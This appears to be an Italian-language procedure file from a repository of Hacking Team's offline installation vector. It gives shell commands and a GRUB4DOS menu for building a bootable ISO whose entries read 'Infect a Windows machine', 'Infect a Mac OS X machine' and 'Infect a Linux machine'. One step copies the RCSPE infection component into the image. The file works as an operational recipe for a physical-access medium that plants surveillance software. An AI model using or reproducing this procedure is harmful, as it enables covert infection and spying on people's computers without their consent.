hackedteam/vector-offline2

View on GitHub
procedure/CD-DVD/3_Offline_Install_Dual_Boot.txt

Summary

Maintainability
Test Coverage
1) Procedura da Windows:

    1) Scaricare ed installare Xboot da:

        http://www.pendrivelinux.com/xboot-multiboot-iso-usb-creator/

    2) Creare una nuova cartella sul Desktop chiamata ISO

    3) Copiare l'eseguibile di Xboot dentro Desktop\ISO

    4) Copiare le due ISO dell'Offline Install:

        offlineinstallwin.iso
        offlineinstalllin.iso

    in Desktop\ISO

    5) Aprire Xboot

    6) Drag and drop offlineinstallwin.iso in Xboot

    7) Scegliere:

        Add using Grub4dos ISO Image Emulation

    8) Cliccare su:

        Add this file

    9) Drag and drop offlineinstalllin.iso in Xboot

    10) Scegliere

        Linux ---- Ubuntu

    11) Cliccare su:

        Add this file

    12) Rinominare:

        Ubuntu -> offlineinstalllin in Xboot

    13) Eliminare la Categoria (Linux)

        Linux in offlineinstalllin in Xboot

    14) Cliccare su:

        Create ISO

    15) Scegliere come nome xboot.iso e come posizione del salvataggio della nuova ISO:

        Desktop\ISO\xboot.iso

2) Procedura da Linux:

    1) Eseguire:

        $ mkdir work
        $ cd work
        $ mv /path/xboot.iso .
        $ mkdir -p DualBootISO/Content
        $ sudo mount -t iso9660 -o ro xboot.iso /media/
        $ cp -Rf /media/* DualBootISO/Content/
        $ sudo umount /media
        $ cd DualBootISO/Content/
        $ sudo bash
        $ chmod +w menu.lst

    2) Modificare menu.lst come segue:

        $ vim menu.lst

        debug -1
        write (md)0x220+1 !BAT\necho -n -P:0000 $[0133]      Offline Installer                                                 \0
        initscript (md)0x220+1

        /menuset 0 0 0 0 0 0    7   66    3    12  16

        splashimage=/bkg.xpm.gz
        foreground=A9A9A9
        background=000000

        ### MENU START
        title Windows\nInfect a Windows machine             
        ls /images/offlineinstallwin.iso || find --set-root /images/offlineinstallwin.iso
        map --heads=0 --sectors-per-track=0 /images/offlineinstallwin.iso (0xff) || map --heads=0 --sectors-per-track=0 --mem /images/offlineinstallwin.iso (0xff)
        map --hook
        chainloader (0xff)
        ### MENU END


        ### MENU START
        title Mac OS X\nInfect a Mac OS X machine
        ls /images/offlineinstalllin.iso || find --set-root /images/offlineinstalllin.iso
        map --heads=0 --sectors-per-track=0 /images/offlineinstalllin.iso (0xff) || map --heads=0 --sectors-per-track=0 --mem /images/offlineinstalllin.iso (0xff)
        map --hook
        chainloader (0xff)
        ### MENU END


        ### MENU START
                title Linux\nInfect a Linux machine
                ls /images/offlineinstalllin.iso || find --set-root /images/offlineinstalllin.iso
                map --heads=0 --sectors-per-track=0 /images/offlineinstalllin.iso (0xff) || map --heads=0 --sectors-per-track=0 --mem /images/offlineinstalllin.iso (0xff)
                map --hook
                chainloader (0xff)
                ### MENU END

    3) Copiare l'immagine del boot:

        $ cd ../../
        $ cp bkg.xpm.gz DualBootISO/Content/
        $ cp menuset DualBootISO/Content/
        $ chmod +x DualBootISO/Content/menuset
        $ chmod -w DualBootISO/Content/menu.lst

    4) Se si desidera usare l'infezione, copiare RCSPE in:

        $ cp -Rf RCSPE DualBootISO/Content/

    5) Eliminare:

        $ cd DualBootISO/Content/
        $ rm -Rf bcdw/ boot/ cdsh/ help/

    6) Modificare le ISO corrette:

        $ cd images/
        $ rm offlineinstallwin.iso
        $ rm offlineinstalllin.iso
        $ rm -Rf images/

        COPIARE DENTRO LE DUE ISO DA ME FATTE OVVERO: offlineinstallwin.iso offlineinstalllin.iso

    7) Creare la ISO finale:

        $ cd ../../../DualBootISO/
        $ rm offlineinstall.iso
        $ mkisofs -R -J -b grldr -no-emul-boot -boot-load-size 4 -o offlineinstall.iso Content

    La ISO finale del dual boot sara' offlineinstall.iso